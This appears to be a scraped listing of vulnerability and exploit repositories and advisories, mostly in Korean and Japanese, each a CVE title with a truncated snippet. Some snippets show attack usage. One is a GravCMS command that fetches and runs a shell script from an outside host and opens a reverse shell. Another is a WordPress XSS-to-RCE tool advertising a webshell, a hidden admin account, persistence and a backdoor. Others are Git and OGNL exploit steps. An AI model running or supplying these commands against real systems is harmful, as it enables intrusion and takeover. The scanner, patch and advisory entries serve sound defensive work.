Codiad-CVE-2018-14009

codiad 설치 @ git clone https://github.com/Codiad/Codiad.git 재현 단계 1. Codiad 2.8.4최신 버전로 ubuntu 서버에 취약한 환경을 설정합니다. @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone https://github.com/hidog123/Codiad-CVE-2018-14009.gi 3. 익스플로잇을 실행한...

CVE-2020-17530

OGNL 주입 익스플로잇 개요 Apache Struts2/Tomcat의 OGNL 주입 취약점을 악용하여 시스템 명령을 실행하는 간단한 Python 스크립트입니다. 사용법 pip install requests colorama python3 exploit.py -u http://target/index.action -c "id"...

CVE-2024-32004

tmp 저장소를 생성하고 uploadpack.allowfilter를 true로 설정 git init tmp git -C tmp config uploadpack.allowfilter 1 tmp 저장소에서 evil 복제 git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp 원격 필터 스크립트 구성 git -C evil config remote.origin.uploadpack "./fake-upload-pack" 악성 스크립트 실행 git pull...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2020-5245

CVE-2020-5245 1. 애플리케이션을 빌드하려면 mvn clean install을 실행하세요. 2. java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml로 애플리케이션을 시작하세요. 3. 애플리케이션이 실행 중인지 확인하려면 http://localhost:8080 URL을 입력하세요. pom.xml에 일부 오류, 플러그인은 영향을 받지 않았습니다, 재현 재현 curl...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript 명령 주입 취약점 PoC CVE-2023-36664 버전 10.01.2 이전의 Ghostscript에서 공개된 취약점은 코드 실행으로 이어집니다 CVSS 점수 9.8. 공식 취약점 설명: Artifex Ghostscript 10.01.2까지는 파이프 장치%pipe% 접두사 또는 | 파이프 문자 접두사에 대한 권한 검증을 잘못 처리합니다. Debian은 임의 명령 실행 가능성을 언급하는 보안 권고를 발표했습니다: "Ghostscript, GPL PostScript/PDF 인터프리터가 파이프 장치에 대한 권한...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Bluditのログイン回避策をバイパスし、悪意のあるファイルをアップロードしてリバースシェルを呼び出します。...

XSS2Shell

XSS2Shell ULTIMATE v3.0 WordPress 事前認証 XSS → RCE チェーンエクスプロイト G0D150NE 開発 📌 機能 🔍 XSS と WordPress バージョンを自動検出 🎯 3 モード: Auto、XSS、Direct 📡 資格情報を取得するコールバックサーバー 🐚 複数の実行方法に対応した WebShell 🔄 永続化（cron ジョブ、隠し管理者、自己複製） 📁 ファイルのアップロード/ダウンロード 🖥️ ワンクリックリバースシェル 🛡️ ステルスモード（プラグイン一覧から隠蔽） 🔐 AES-256 暗号化バックドア 📦 インストール...

Zero-Day Exploitation of Citrix NetScaler ADC and Gateway: CVE-2026-88771 and CVE-2026-88772

Overview On September 27, 2026, Citrix disclosed eight new vulnerabilities affecting NetScaler ADC and NetScaler Gateway, including two critical remote code execution RCE vulnerabilities: CVE-2026-88771 and CVE-2026-88772. Both of these RCE vulnerabilities carry a critical CVSSv4 score of 9.5, an...

CVE-2021-21425

CVE-2021-21425 - GravCMS 인증되지 않은 RCE GravCMS 사용자 정의 명령 python3 exploit.py -t http://target -c "id" 예시 대상에서 리버스 셸 획득 python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 명령 실행 python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash" 요구 사항 pip install requests ...

cve-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n 전체 체인 인증되지 않은 임의 파일 읽기 → 관리자 토큰 위조 → 샌드박스 우회 → RCE | ---|--- CVE| CVE-2026-21858 AFR + CVE-2025-68613 RCE CVSS| 10.0 + 9.9 심각 영향 받는 버전| = 0.211.0 RCE 수정된 버전| 1.121.0 AFR / 1.120.4+ RCE 공개일| 2026-01-07 11:09 UTC 코드명| Ni8mare 발견자| Dor Attias Cyera 익스플로잇|...

Exploit for CVE-2026-88772

CVE-2026-88772 - Citrix NetScaler ADC/Gateway DTLS memory over...

CVE-2025-37164

CVE-2025-37164 HPE OneView에 원격 코드 실행 문제가 존재합니다. 이 탐지 방법은 어떻게 작동하나요? 이 템플릿은 OneView title 태그를 매칭하고, JavaScript artifactVersion 변수에서 버전을 추출한 다음, 11.00 미만 버전을 실행 중인 인스턴스를 잠재적으로 취약한 것으로 표시합니다. 참고: 이 템플릿으로 표시된 인스턴스는 잠재적으로 취약할 수 있습니다. 탐지 방법은 버전 5.20-10.20에 Z7550-98077 보안 핫픽스가 적용되었는지 여부를 확인할 수 없으며, 11.0...

cve-2025-55182-scanner

CVE-2025-55182 インジケータースキャナー このリポジトリは、CVE-2025-55182（React Server Components RCE）と、Asleepaceのインシデントレポートに記載されている特定の多段階マルウェアに関連する侵害の指標（IoCs）をスキャンするPythonベースのツールを提供します。LinuxおよびmacOSでの動作を想定しており、侵害されたシステムに現れる可能性が高いホストレベルおよびアプリケーションレベルのアーティファクトに焦点を当てています。 このスキャナーがチェックする内容 ファイルシステムのIoCs :...

react2shell-scanner

React2Shell 스캐너 – PoC 포함 CVE-2025-55182 – React Server Components RCE PoC Hidden Investigations React2Shell 실습을 위한 교육용 익스플로잇 클라이언트 이 저장소는 React Server Components / Next.js 애플리케이션의 잘못된 설정을 대상으로 하는 React2Shell 취약점CVE-2025-55182에 대한 단일 호스트 개념 증명PoC 익스플로잇 도구를 포함합니다. 이 도구는 공식 Hidden Investigations...

patch-CVE-2026-31337

パッチ: CVE-2026-31337 脆弱性の詳細 CVE : CVE-2026-31337 製品 : Ivanti Connect Secure 説明 : 認証バイパスによる RCE 重要度 : 緊急 CISA KEV : はい（実環境での悪用が確認済み） パッチステータス: デプロイ済み フィールド| 値 ---|--- パッチ日付| 2026-08-15 ステータス| デプロイ済み 展開先| 本番環境（全リージョン） 検証者| SecOps チーム ロールバック計画| あり（RUNBOOK.md に記載） 是正手順 1. Ivanti Connect Secure...

CVE-2026-7171 Stored Cross-Site Scripting (XSS) in TPVEnlanube

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7171: parameter 'Apellido 1' in the endpoint '/administrator/index.php?page=admin.useradd&userid=45&option=comvirtuemart'. Successful exploitation of this vulnerability could allow an...

laravel-filemanager-unrestricted-upload

Laravel FileManager 제한 없는 파일 업로드 CVE-2025-56399 CWE-434: 위험한 유형의 파일 제한 없는 업로드 CVSS 점수: 8.5 높음 📋 설명 이 도구는 CVE-2025-56399 의 개념 증명PoC 을 제공합니다. 이는 alexusmai/laravel-file-manager 버전 ≤ 3.3.1의 중요한 취약점입니다. 이 취약점은 인증된 공격자 가 조작된 파일을 업로드하고, 클라이언트 측 유효성 검사를 우회한 후 PHP 확장자로 이름을 변경하여 원격 코드 실행RCE 을 달성할 수 있게 합니다....

CVE-2026-7170 Stored Cross-Site Scripting (XSS) in TPVEnlanube

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7170: parameter 'vendorstorename' in the endpoint '/administrator/index.php?pshopmode=admin&page=store.storeadd&option=comvirtuemart&vendorid=ID'. Successful exploitation of this vulnerability...

EUVD-2026-88199

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7170: parameter 'vendorstorename' in the endpoint '/administrator/index.php?pshopmode=admin&page=store.storeadd&option=comvirtuemart&vendorid=ID'. Successful exploitation of this vulnerability...